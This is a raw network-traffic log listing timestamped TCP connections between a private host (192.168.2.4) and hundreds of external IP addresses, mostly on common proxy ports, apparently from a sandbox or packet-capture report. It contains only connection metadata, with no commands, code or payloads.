Feb 23, 2024 09:45:15.806371927 CET	50175	3128	192.168.2.4	23.152.40.14
Feb 23, 2024 09:45:15.807192087 CET	50176	9002	192.168.2.4	222.138.76.6
Feb 23, 2024 09:45:15.808345079 CET	50177	3128	192.168.2.4	188.252.14.7
Feb 23, 2024 09:45:15.809354067 CET	50178	80	192.168.2.4	104.25.58.39
Feb 23, 2024 09:45:15.809803009 CET	50179	84	192.168.2.4	103.26.108.254
Feb 23, 2024 09:45:15.810568094 CET	8888	49796	47.114.101.57	192.168.2.4
Feb 23, 2024 09:45:15.810609102 CET	8888	49796	47.114.101.57	192.168.2.4
Feb 23, 2024 09:45:15.810625076 CET	8888	49796	47.114.101.57	192.168.2.4
Feb 23, 2024 09:45:15.810699940 CET	48024	50020	181.113.34.86	192.168.2.4
Feb 23, 2024 09:45:15.810782909 CET	49796	8888	192.168.2.4	47.114.101.57
Feb 23, 2024 09:45:15.811115980 CET	49796	8888	192.168.2.4	47.114.101.57
Feb 23, 2024 09:45:15.811218023 CET	50180	8118	192.168.2.4	152.32.187.164
Feb 23, 2024 09:45:15.812730074 CET	50181	1080	192.168.2.4	109.73.38.156
Feb 23, 2024 09:45:15.812834978 CET	29129	50110	72.10.160.90	192.168.2.4
Feb 23, 2024 09:45:15.813657045 CET	50182	3128	192.168.2.4	94.142.142.140
Feb 23, 2024 09:45:15.814322948 CET	25508	50074	107.180.89.55	192.168.2.4
Feb 23, 2024 09:45:15.815485954 CET	543	49964	8.213.137.155	192.168.2.4
Feb 23, 2024 09:45:15.815511942 CET	50183	8000	192.168.2.4	128.199.252.22
Feb 23, 2024 09:45:15.815577030 CET	50074	25508	192.168.2.4	107.180.89.55
Feb 23, 2024 09:45:15.815583944 CET	49964	543	192.168.2.4	8.213.137.155
Feb 23, 2024 09:45:15.816179991 CET	50184	80	192.168.2.4	92.119.238.211
Feb 23, 2024 09:45:15.816179991 CET	50074	25508	192.168.2.4	107.180.89.55
Feb 23, 2024 09:45:15.816234112 CET	4145	50057	107.181.168.145	192.168.2.4
Feb 23, 2024 09:45:15.816267967 CET	49964	543	192.168.2.4	8.213.137.155
Feb 23, 2024 09:45:15.817594051 CET	50185	21453	192.168.2.4	104.238.111.107
Feb 23, 2024 09:45:15.818090916 CET	80	50122	104.25.230.252	192.168.2.4
Feb 23, 2024 09:45:15.818229914 CET	50122	80	192.168.2.4	104.25.230.252
Feb 23, 2024 09:45:15.819015026 CET	50122	80	192.168.2.4	104.25.230.252
Feb 23, 2024 09:45:15.819078922 CET	50186	3128	192.168.2.4	129.154.227.14
Feb 23, 2024 09:45:15.820420027 CET	50188	8968	192.168.2.4	104.238.111.107
Feb 23, 2024 09:45:15.820450068 CET	50187	9735	192.168.2.4	216.10.242.18
Feb 23, 2024 09:45:15.821382046 CET	50189	20896	192.168.2.4	91.134.140.160
Feb 23, 2024 09:45:15.821458101 CET	80	50061	50.172.75.120	192.168.2.4
Feb 23, 2024 09:45:15.822967052 CET	50190	3128	192.168.2.4	178.236.246.53
Feb 23, 2024 09:45:15.824310064 CET	80	50050	104.19.171.188	192.168.2.4
Feb 23, 2024 09:45:15.824356079 CET	80	50050	104.19.171.188	192.168.2.4
Feb 23, 2024 09:45:15.824372053 CET	50191	18301	192.168.2.4	98.206.244.30
Feb 23, 2024 09:45:15.824464083 CET	50192	1080	192.168.2.4	195.178.197.71
Feb 23, 2024 09:45:15.824577093 CET	80	50050	104.19.171.188	192.168.2.4
Feb 23, 2024 09:45:15.824656963 CET	50050	80	192.168.2.4	104.19.171.188
Feb 23, 2024 09:45:15.824774981 CET	50050	80	192.168.2.4	104.19.171.188
Feb 23, 2024 09:45:15.824810028 CET	52246	50022	45.7.177.85	192.168.2.4
Feb 23, 2024 09:45:15.825164080 CET	50193	8080	192.168.2.4	92.255.205.129
Feb 23, 2024 09:45:15.826631069 CET	50194	4153	192.168.2.4	184.82.142.201
Feb 23, 2024 09:45:15.827852964 CET	50195	44098	192.168.2.4	185.72.225.10
Feb 23, 2024 09:45:15.827955008 CET	22093	50125	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:15.828383923 CET	50196	3128	192.168.2.4	178.165.42.166
Feb 23, 2024 09:45:15.829121113 CET	8080	50056	5.78.89.192	192.168.2.4
Feb 23, 2024 09:45:15.830127954 CET	50197	1994	192.168.2.4	45.188.164.48
Feb 23, 2024 09:45:15.830169916 CET	4145	49966	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:15.830185890 CET	4145	49966	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:15.830204010 CET	20627	50127	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:15.830209017 CET	50198	10739	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:15.830868959 CET	4145	50136	72.210.208.101	192.168.2.4
Feb 23, 2024 09:45:15.831448078 CET	50136	4145	192.168.2.4	72.210.208.101
Feb 23, 2024 09:45:15.831744909 CET	50199	4153	192.168.2.4	103.117.109.9
Feb 23, 2024 09:45:15.832089901 CET	50200	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:15.832559109 CET	3128	49986	78.38.93.22	192.168.2.4
Feb 23, 2024 09:45:15.833282948 CET	8000	49778	137.184.15.145	192.168.2.4
Feb 23, 2024 09:45:15.833604097 CET	50202	3128	192.168.2.4	37.156.28.43
Feb 23, 2024 09:45:15.833676100 CET	20481	50075	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:15.833911896 CET	50201	59124	192.168.2.4	5.135.137.13
Feb 23, 2024 09:45:15.834059000 CET	50075	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:15.834602118 CET	50075	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:15.835339069 CET	49781	80	192.168.2.4	80.228.235.6
Feb 23, 2024 09:45:15.835520029 CET	50204	36477	192.168.2.4	192.99.37.195
Feb 23, 2024 09:45:15.836400986 CET	50203	3128	192.168.2.4	51.83.230.121
Feb 23, 2024 09:45:15.836678028 CET	50205	999	192.168.2.4	181.233.89.174
Feb 23, 2024 09:45:15.837810993 CET	50206	80	192.168.2.4	12.186.205.123
Feb 23, 2024 09:45:15.838485956 CET	29430	50068	162.214.102.121	192.168.2.4
Feb 23, 2024 09:45:15.840382099 CET	50207	42875	192.168.2.4	162.241.66.135
Feb 23, 2024 09:45:15.840389967 CET	50208	6533	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:15.841589928 CET	50209	4153	192.168.2.4	177.131.29.211
Feb 23, 2024 09:45:15.841741085 CET	27917	50139	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:15.842432976 CET	50210	80	192.168.2.4	50.231.104.58
Feb 23, 2024 09:45:15.843269110 CET	50211	8989	192.168.2.4	47.56.110.204
Feb 23, 2024 09:45:15.844595909 CET	50212	80	192.168.2.4	138.197.102.119
Feb 23, 2024 09:45:15.846641064 CET	50213	11946	192.168.2.4	91.134.140.160
Feb 23, 2024 09:45:15.846973896 CET	80	50064	104.21.31.189	192.168.2.4
Feb 23, 2024 09:45:15.846982002 CET	50214	65201	192.168.2.4	149.28.141.180
Feb 23, 2024 09:45:15.847028017 CET	80	50064	104.21.31.189	192.168.2.4
Feb 23, 2024 09:45:15.847485065 CET	50064	80	192.168.2.4	104.21.31.189
Feb 23, 2024 09:45:15.847486973 CET	80	50064	104.21.31.189	192.168.2.4
Feb 23, 2024 09:45:15.847589016 CET	50064	80	192.168.2.4	104.21.31.189
Feb 23, 2024 09:45:15.849128008 CET	50215	23475	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:15.849415064 CET	8000	50142	137.184.22.92	192.168.2.4
Feb 23, 2024 09:45:15.849643946 CET	8083	50024	185.132.242.212	192.168.2.4
Feb 23, 2024 09:45:15.849972963 CET	50024	8083	192.168.2.4	185.132.242.212
Feb 23, 2024 09:45:15.851021051 CET	50216	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:15.851027966 CET	50024	8083	192.168.2.4	185.132.242.212
Feb 23, 2024 09:45:15.851073980 CET	3021	49805	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:15.851248980 CET	12129	49801	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:15.851494074 CET	50217	80	192.168.2.4	197.255.125.12
Feb 23, 2024 09:45:15.851561069 CET	50218	999	192.168.2.4	200.110.173.17
Feb 23, 2024 09:45:15.858869076 CET	50219	34090	192.168.2.4	195.30.84.219
Feb 23, 2024 09:45:15.859765053 CET	50220	48359	192.168.2.4	103.230.126.123
Feb 23, 2024 09:45:15.860229015 CET	6764	49848	198.105.111.86	192.168.2.4
Feb 23, 2024 09:45:15.861293077 CET	50221	3128	192.168.2.4	154.201.62.249
Feb 23, 2024 09:45:15.862083912 CET	50222	3128	192.168.2.4	104.164.183.251
Feb 23, 2024 09:45:15.863626957 CET	50223	56755	192.168.2.4	162.214.102.195
Feb 23, 2024 09:45:15.864381075 CET	50224	22935	192.168.2.4	51.75.126.150
Feb 23, 2024 09:45:15.865200043 CET	50225	6227	192.168.2.4	72.10.160.171
Feb 23, 2024 09:45:15.865559101 CET	49814	80	192.168.2.4	50.172.23.10
Feb 23, 2024 09:45:15.865703106 CET	49775	17182	192.168.2.4	139.99.9.218
Feb 23, 2024 09:45:15.865761995 CET	49786	80	192.168.2.4	154.113.121.60
Feb 23, 2024 09:45:15.866674900 CET	50226	52306	192.168.2.4	164.92.237.188
Feb 23, 2024 09:45:15.868140936 CET	50227	3128	192.168.2.4	154.202.121.64
Feb 23, 2024 09:45:15.873372078 CET	80	50008	104.18.81.76	192.168.2.4
Feb 23, 2024 09:45:15.874561071 CET	80	50137	50.168.163.178	192.168.2.4
Feb 23, 2024 09:45:15.875838041 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:15.877665997 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:15.879093885 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:15.880075932 CET	50228	80	192.168.2.4	133.232.90.85
Feb 23, 2024 09:45:15.880331039 CET	12707	50161	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:15.880865097 CET	80	50163	172.67.182.169	192.168.2.4
Feb 23, 2024 09:45:15.880979061 CET	50163	80	192.168.2.4	172.67.182.169
Feb 23, 2024 09:45:15.881138086 CET	49834	10011	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:15.881139040 CET	49821	8587	192.168.2.4	178.62.103.49
Feb 23, 2024 09:45:15.881511927 CET	49768	3256	192.168.2.4	125.87.82.86
Feb 23, 2024 09:45:15.881567001 CET	50229	8080	192.168.2.4	190.52.165.120
Feb 23, 2024 09:45:15.881592035 CET	50163	80	192.168.2.4	172.67.182.169
Feb 23, 2024 09:45:15.883327007 CET	50230	3128	192.168.2.4	186.156.161.235
Feb 23, 2024 09:45:15.883795977 CET	50231	3128	192.168.2.4	91.121.89.41
Feb 23, 2024 09:45:15.884035110 CET	80	49981	221.194.149.8	192.168.2.4
Feb 23, 2024 09:45:15.884107113 CET	999	50121	45.229.34.174	192.168.2.4
Feb 23, 2024 09:45:15.884124041 CET	49981	80	192.168.2.4	221.194.149.8
Feb 23, 2024 09:45:15.884495020 CET	49981	80	192.168.2.4	221.194.149.8
Feb 23, 2024 09:45:15.884499073 CET	50232	50344	192.168.2.4	109.205.181.27
Feb 23, 2024 09:45:15.885190964 CET	50233	80	192.168.2.4	20.111.54.16
Feb 23, 2024 09:45:15.886575937 CET	3820	50007	198.12.253.1	192.168.2.4
Feb 23, 2024 09:45:15.886645079 CET	50234	8080	192.168.2.4	190.220.228.147
Feb 23, 2024 09:45:15.887084007 CET	50235	9898	192.168.2.4	182.160.110.154
Feb 23, 2024 09:45:15.888377905 CET	50236	8123	192.168.2.4	20.205.61.143
Feb 23, 2024 09:45:15.888819933 CET	50237	25085	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:15.889652014 CET	8089	49965	117.69.236.86	192.168.2.4
Feb 23, 2024 09:45:15.889692068 CET	50238	8082	192.168.2.4	58.69.201.117
Feb 23, 2024 09:45:15.890428066 CET	50239	80	192.168.2.4	104.25.114.28
Feb 23, 2024 09:45:15.891338110 CET	80	50108	104.16.105.207	192.168.2.4
Feb 23, 2024 09:45:15.891382933 CET	50240	3128	192.168.2.4	83.219.145.106
Feb 23, 2024 09:45:15.891434908 CET	80	50108	104.16.105.207	192.168.2.4
Feb 23, 2024 09:45:15.891870022 CET	80	50108	104.16.105.207	192.168.2.4
Feb 23, 2024 09:45:15.891897917 CET	50108	80	192.168.2.4	104.16.105.207
Feb 23, 2024 09:45:15.892029047 CET	6005	50101	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:15.892095089 CET	50108	80	192.168.2.4	104.16.105.207
Feb 23, 2024 09:45:15.892163038 CET	50101	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:15.892359972 CET	50101	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:15.892585993 CET	50241	50781	192.168.2.4	50.63.12.33
Feb 23, 2024 09:45:15.892657995 CET	14745	50167	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:15.895525932 CET	50242	13335	192.168.2.4	172.64.130.68
Feb 23, 2024 09:45:15.895538092 CET	50243	80	192.168.2.4	104.17.37.235
Feb 23, 2024 09:45:15.895970106 CET	8080	50039	195.206.39.222	192.168.2.4
Feb 23, 2024 09:45:15.896260023 CET	50039	8080	192.168.2.4	195.206.39.222
Feb 23, 2024 09:45:15.896692991 CET	50244	14075	192.168.2.4	145.239.2.102
Feb 23, 2024 09:45:15.896770000 CET	49737	80	192.168.2.4	41.111.243.18
Feb 23, 2024 09:45:15.896773100 CET	50039	8080	192.168.2.4	195.206.39.222
Feb 23, 2024 09:45:15.896780014 CET	49738	34300	192.168.2.4	81.17.94.50
Feb 23, 2024 09:45:15.897345066 CET	80	50178	104.25.58.39	192.168.2.4
Feb 23, 2024 09:45:15.897428036 CET	50245	8080	192.168.2.4	103.162.50.13
Feb 23, 2024 09:45:15.897435904 CET	50178	80	192.168.2.4	104.25.58.39
Feb 23, 2024 09:45:15.898127079 CET	50178	80	192.168.2.4	104.25.58.39
Feb 23, 2024 09:45:15.902667046 CET	50246	5678	192.168.2.4	109.205.243.10
Feb 23, 2024 09:45:15.902834892 CET	50247	3129	192.168.2.4	103.78.0.44
Feb 23, 2024 09:45:15.904036045 CET	50248	37259	192.168.2.4	41.223.234.116
Feb 23, 2024 09:45:15.905858040 CET	50249	30464	192.168.2.4	51.79.87.144
Feb 23, 2024 09:45:15.905864954 CET	50250	999	192.168.2.4	190.61.48.24
Feb 23, 2024 09:45:15.906443119 CET	80	50122	104.25.230.252	192.168.2.4
Feb 23, 2024 09:45:15.906696081 CET	80	50122	104.25.230.252	192.168.2.4
Feb 23, 2024 09:45:15.906712055 CET	80	50122	104.25.230.252	192.168.2.4
Feb 23, 2024 09:45:15.906735897 CET	50251	80	192.168.2.4	50.168.163.179
Feb 23, 2024 09:45:15.906831980 CET	50122	80	192.168.2.4	104.25.230.252
Feb 23, 2024 09:45:15.906992912 CET	50122	80	192.168.2.4	104.25.230.252
Feb 23, 2024 09:45:15.907212973 CET	50252	34090	192.168.2.4	195.30.84.213
Feb 23, 2024 09:45:15.910578966 CET	50253	999	192.168.2.4	200.24.154.218
Feb 23, 2024 09:45:15.910587072 CET	50254	9002	192.168.2.4	111.38.73.92
Feb 23, 2024 09:45:15.910943031 CET	3128	50043	185.105.230.45	192.168.2.4
Feb 23, 2024 09:45:15.911097050 CET	3128	50134	3.122.84.99	192.168.2.4
Feb 23, 2024 09:45:15.911245108 CET	50134	3128	192.168.2.4	3.122.84.99
Feb 23, 2024 09:45:15.911473036 CET	64693	50123	208.87.131.151	192.168.2.4
Feb 23, 2024 09:45:15.911499023 CET	50134	3128	192.168.2.4	3.122.84.99
Feb 23, 2024 09:45:15.911691904 CET	50123	64693	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:15.911787987 CET	50255	52420	192.168.2.4	162.214.102.121
Feb 23, 2024 09:45:15.911832094 CET	50123	64693	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:15.911853075 CET	80	50050	104.19.171.188	192.168.2.4
Feb 23, 2024 09:45:15.912353992 CET	49745	8080	192.168.2.4	103.124.198.118
Feb 23, 2024 09:45:15.912364960 CET	49742	12259	192.168.2.4	128.199.221.91
Feb 23, 2024 09:45:15.912384987 CET	49750	30026	192.168.2.4	104.238.111.107
Feb 23, 2024 09:45:15.912784100 CET	50256	80	192.168.2.4	50.174.145.13
Feb 23, 2024 09:45:15.913022995 CET	50257	3128	192.168.2.4	195.158.16.9
Feb 23, 2024 09:45:15.913980961 CET	50258	8080	192.168.2.4	103.59.45.89
Feb 23, 2024 09:45:15.914083004 CET	80	50113	50.204.219.224	192.168.2.4
Feb 23, 2024 09:45:15.915400028 CET	50259	4145	192.168.2.4	98.170.57.231
Feb 23, 2024 09:45:15.916369915 CET	50260	23500	192.168.2.4	5.104.174.199
Feb 23, 2024 09:45:15.916440964 CET	5678	50076	109.127.82.114	192.168.2.4
Feb 23, 2024 09:45:15.917603016 CET	50261	3128	192.168.2.4	77.68.111.73
Feb 23, 2024 09:45:15.918107986 CET	8080	50112	186.192.195.211	192.168.2.4
Feb 23, 2024 09:45:15.918445110 CET	50262	80	192.168.2.4	104.16.226.6
Feb 23, 2024 09:45:15.918704987 CET	50263	55606	192.168.2.4	45.117.179.179
Feb 23, 2024 09:45:15.919733047 CET	50264	8080	192.168.2.4	79.137.36.165
Feb 23, 2024 09:45:15.921989918 CET	80	49943	202.5.16.44	192.168.2.4
Feb 23, 2024 09:45:15.923269987 CET	8080	49885	185.38.111.1	192.168.2.4
Feb 23, 2024 09:45:15.923285007 CET	8080	49885	185.38.111.1	192.168.2.4
Feb 23, 2024 09:45:15.923379898 CET	49885	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:15.925105095 CET	10471	49833	167.172.86.46	192.168.2.4
Feb 23, 2024 09:45:15.925128937 CET	10471	49833	167.172.86.46	192.168.2.4
Feb 23, 2024 09:45:15.925456047 CET	10739	50198	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:15.925456047 CET	50265	52903	192.168.2.4	203.161.32.218
Feb 23, 2024 09:45:15.926038980 CET	1082	49736	181.209.113.234	192.168.2.4
Feb 23, 2024 09:45:15.926691055 CET	3128	50175	23.152.40.14	192.168.2.4
Feb 23, 2024 09:45:15.926902056 CET	50175	3128	192.168.2.4	23.152.40.14
Feb 23, 2024 09:45:15.927314043 CET	50266	10471	192.168.2.4	167.172.86.46
Feb 23, 2024 09:45:15.927314043 CET	50175	3128	192.168.2.4	23.152.40.14
Feb 23, 2024 09:45:15.927452087 CET	49885	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:15.927882910 CET	50267	32148	192.168.2.4	152.228.134.212
Feb 23, 2024 09:45:15.927985907 CET	49831	80	192.168.2.4	41.111.187.214
Feb 23, 2024 09:45:15.927998066 CET	49746	1080	192.168.2.4	212.69.12.121
Feb 23, 2024 09:45:15.928006887 CET	49856	80	192.168.2.4	50.174.145.10
Feb 23, 2024 09:45:15.928025961 CET	49747	8080	192.168.2.4	49.0.34.194
Feb 23, 2024 09:45:15.928303003 CET	9000	50040	122.116.150.2	192.168.2.4
Feb 23, 2024 09:45:15.928329945 CET	49755	60406	192.168.2.4	198.12.253.117
Feb 23, 2024 09:45:15.928340912 CET	49753	80	192.168.2.4	104.35.140.42
Feb 23, 2024 09:45:15.928435087 CET	50040	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:15.928688049 CET	8080	49756	102.212.86.57	192.168.2.4
Feb 23, 2024 09:45:15.928715944 CET	50040	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:15.928841114 CET	50268	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:15.929307938 CET	50269	8080	192.168.2.4	170.83.246.128
Feb 23, 2024 09:45:15.930239916 CET	50270	5678	192.168.2.4	45.73.0.118
Feb 23, 2024 09:45:15.931186914 CET	50271	8080	192.168.2.4	2.189.148.1
Feb 23, 2024 09:45:15.932180882 CET	50272	33633	192.168.2.4	190.109.72.17
Feb 23, 2024 09:45:15.933229923 CET	50273	51327	192.168.2.4	185.51.92.103
Feb 23, 2024 09:45:15.934637070 CET	50275	3128	192.168.2.4	191.101.78.207
Feb 23, 2024 09:45:15.934638023 CET	50274	1080	192.168.2.4	202.162.219.12
Feb 23, 2024 09:45:15.935203075 CET	80	50064	104.21.31.189	192.168.2.4
Feb 23, 2024 09:45:15.935316086 CET	3128	50115	37.53.103.4	192.168.2.4
Feb 23, 2024 09:45:15.935482979 CET	6533	50208	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:15.935539961 CET	50115	3128	192.168.2.4	37.53.103.4
Feb 23, 2024 09:45:15.936366081 CET	50115	3128	192.168.2.4	37.53.103.4
Feb 23, 2024 09:45:15.936422110 CET	50276	10801	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:15.937545061 CET	50277	24604	192.168.2.4	51.195.139.95
Feb 23, 2024 09:45:15.938038111 CET	1080	49744	221.231.13.198	192.168.2.4
Feb 23, 2024 09:45:15.938249111 CET	80	50212	138.197.102.119	192.168.2.4
Feb 23, 2024 09:45:15.938436031 CET	50212	80	192.168.2.4	138.197.102.119
Feb 23, 2024 09:45:15.938946009 CET	50212	80	192.168.2.4	138.197.102.119
Feb 23, 2024 09:45:15.938972950 CET	50278	49588	192.168.2.4	192.169.244.80
Feb 23, 2024 09:45:15.939220905 CET	50279	16489	192.168.2.4	162.210.192.135
Feb 23, 2024 09:45:15.940248966 CET	50280	80	192.168.2.4	104.22.1.113
Feb 23, 2024 09:45:15.941967964 CET	4145	50009	142.54.236.97	192.168.2.4
Feb 23, 2024 09:45:15.941983938 CET	4145	50009	142.54.236.97	192.168.2.4
Feb 23, 2024 09:45:15.942008972 CET	50281	80	192.168.2.4	107.148.201.157
Feb 23, 2024 09:45:15.942303896 CET	50282	3128	192.168.2.4	154.202.98.109
Feb 23, 2024 09:45:15.943630934 CET	49754	3128	192.168.2.4	154.202.123.46
Feb 23, 2024 09:45:15.943634987 CET	49789	32650	192.168.2.4	154.79.254.236
Feb 23, 2024 09:45:15.943660021 CET	49877	2929	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:15.943660975 CET	49752	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:15.943813086 CET	49878	6331	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:15.944281101 CET	23475	50215	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:15.944434881 CET	50283	15758	192.168.2.4	72.167.220.46
Feb 23, 2024 09:45:15.944633961 CET	50284	4145	192.168.2.4	142.54.236.97
Feb 23, 2024 09:45:15.945492029 CET	50285	33861	192.168.2.4	193.34.93.221
Feb 23, 2024 09:45:15.945527077 CET	5678	49993	125.26.22.7	192.168.2.4
Feb 23, 2024 09:45:15.946194887 CET	50286	6745	192.168.2.4	45.43.71.147
Feb 23, 2024 09:45:15.947889090 CET	9002	49929	120.197.40.219	192.168.2.4
Feb 23, 2024 09:45:15.947902918 CET	50287	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:15.947917938 CET	50288	3128	192.168.2.4	85.214.244.174
Feb 23, 2024 09:45:15.947977066 CET	49929	9002	192.168.2.4	120.197.40.219
Feb 23, 2024 09:45:15.948158979 CET	49929	9002	192.168.2.4	120.197.40.219
Feb 23, 2024 09:45:15.949858904 CET	50290	53281	192.168.2.4	103.82.233.2
Feb 23, 2024 09:45:15.949858904 CET	50289	36546	192.168.2.4	70.32.26.23
Feb 23, 2024 09:45:15.950787067 CET	50291	10958	192.168.2.4	132.148.154.97
Feb 23, 2024 09:45:15.951931953 CET	50292	27531	192.168.2.4	162.144.36.208
Feb 23, 2024 09:45:15.952517986 CET	50293	8443	192.168.2.4	69.94.136.71
Feb 23, 2024 09:45:15.953638077 CET	50294	8089	192.168.2.4	111.225.152.207
Feb 23, 2024 09:45:15.954579115 CET	80	50098	190.58.248.86	192.168.2.4
Feb 23, 2024 09:45:15.954595089 CET	11946	50213	91.134.140.160	192.168.2.4
Feb 23, 2024 09:45:15.954605103 CET	50295	80	192.168.2.4	162.159.242.8
Feb 23, 2024 09:45:15.954847097 CET	50213	11946	192.168.2.4	91.134.140.160
Feb 23, 2024 09:45:15.955013037 CET	50213	11946	192.168.2.4	91.134.140.160
Feb 23, 2024 09:45:15.955298901 CET	50296	10801	192.168.2.4	95.111.91.50
Feb 23, 2024 09:45:15.955507040 CET	9229	50124	201.238.248.139	192.168.2.4
Feb 23, 2024 09:45:15.955667973 CET	50124	9229	192.168.2.4	201.238.248.139
Feb 23, 2024 09:45:15.956192017 CET	4145	50165	68.71.247.130	192.168.2.4
Feb 23, 2024 09:45:15.956242085 CET	50124	9229	192.168.2.4	201.238.248.139
Feb 23, 2024 09:45:15.956608057 CET	8082	49996	150.107.136.110	192.168.2.4
Feb 23, 2024 09:45:15.956960917 CET	49996	8082	192.168.2.4	150.107.136.110
Feb 23, 2024 09:45:15.959269047 CET	49758	3663	192.168.2.4	107.180.101.18
Feb 23, 2024 09:45:15.959290981 CET	49761	25928	192.168.2.4	136.243.148.97
Feb 23, 2024 09:45:15.959300995 CET	49762	45366	192.168.2.4	132.148.129.254
Feb 23, 2024 09:45:15.960242033 CET	6227	50225	72.10.160.171	192.168.2.4
Feb 23, 2024 09:45:15.962812901 CET	8080	50058	27.111.83.207	192.168.2.4
Feb 23, 2024 09:45:15.962950945 CET	50058	8080	192.168.2.4	27.111.83.207
Feb 23, 2024 09:45:15.968076944 CET	6047	49733	107.181.148.187	192.168.2.4
Feb 23, 2024 09:45:15.968502998 CET	80	50163	172.67.182.169	192.168.2.4
Feb 23, 2024 09:45:15.968518972 CET	80	50163	172.67.182.169	192.168.2.4
Feb 23, 2024 09:45:15.968823910 CET	80	50163	172.67.182.169	192.168.2.4
Feb 23, 2024 09:45:15.968914032 CET	50163	80	192.168.2.4	172.67.182.169
Feb 23, 2024 09:45:15.969340086 CET	50163	80	192.168.2.4	172.67.182.169
Feb 23, 2024 09:45:15.969912052 CET	49996	8082	192.168.2.4	150.107.136.110
Feb 23, 2024 09:45:15.969983101 CET	50058	8080	192.168.2.4	27.111.83.207
Feb 23, 2024 09:45:15.970588923 CET	50297	4153	192.168.2.4	41.160.23.114
Feb 23, 2024 09:45:15.971477985 CET	50298	5678	192.168.2.4	1.15.62.12
Feb 23, 2024 09:45:15.973411083 CET	50299	5678	192.168.2.4	96.9.86.218
Feb 23, 2024 09:45:15.973423958 CET	50300	9999	192.168.2.4	171.35.172.147
Feb 23, 2024 09:45:15.974364042 CET	50301	4145	192.168.2.4	104.200.135.46
Feb 23, 2024 09:45:15.974945068 CET	49896	2589	192.168.2.4	72.10.160.90
Feb 23, 2024 09:45:15.974945068 CET	49763	5190	192.168.2.4	208.109.13.93
Feb 23, 2024 09:45:15.974947929 CET	49757	8080	192.168.2.4	168.227.40.66
Feb 23, 2024 09:45:15.975687981 CET	50302	8080	192.168.2.4	118.98.166.56
Feb 23, 2024 09:45:15.977462053 CET	50304	9090	192.168.2.4	38.41.53.149
Feb 23, 2024 09:45:15.977552891 CET	50303	80	192.168.2.4	172.232.111.247
Feb 23, 2024 09:45:15.978632927 CET	50305	4145	192.168.2.4	199.102.106.94
Feb 23, 2024 09:45:15.978842974 CET	10011	49834	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:15.979279041 CET	50306	8080	192.168.2.4	154.73.28.89
Feb 23, 2024 09:45:15.979470968 CET	4145	50200	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:15.979759932 CET	50200	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:15.979759932 CET	50200	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:15.980161905 CET	8080	49861	102.132.54.151	192.168.2.4
Feb 23, 2024 09:45:15.980494976 CET	80	50239	104.25.114.28	192.168.2.4
Feb 23, 2024 09:45:15.980807066 CET	50239	80	192.168.2.4	104.25.114.28
Feb 23, 2024 09:45:15.980807066 CET	50239	80	192.168.2.4	104.25.114.28
Feb 23, 2024 09:45:15.981004953 CET	80	50108	104.16.105.207	192.168.2.4
Feb 23, 2024 09:45:15.981796980 CET	50307	45314	192.168.2.4	104.238.100.115
Feb 23, 2024 09:45:15.982718945 CET	50308	80	192.168.2.4	203.57.51.53
Feb 23, 2024 09:45:15.983665943 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.984473944 CET	50309	8000	192.168.2.4	183.100.14.134
Feb 23, 2024 09:45:15.985239029 CET	59058	50030	213.136.75.85	192.168.2.4
Feb 23, 2024 09:45:15.985255957 CET	3128	50164	65.21.255.197	192.168.2.4
Feb 23, 2024 09:45:15.985362053 CET	50164	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:15.985583067 CET	8080	49861	102.132.54.151	192.168.2.4
Feb 23, 2024 09:45:15.985580921 CET	50310	20317	192.168.2.4	192.169.205.131
Feb 23, 2024 09:45:15.985599041 CET	80	50243	104.17.37.235	192.168.2.4
Feb 23, 2024 09:45:15.985719919 CET	50243	80	192.168.2.4	104.17.37.235
Feb 23, 2024 09:45:15.985856056 CET	50164	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:15.985856056 CET	49861	8080	192.168.2.4	102.132.54.151
Feb 23, 2024 09:45:15.986114025 CET	50243	80	192.168.2.4	104.17.37.235
Feb 23, 2024 09:45:15.986330032 CET	25085	50237	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:15.987296104 CET	80	50178	104.25.58.39	192.168.2.4
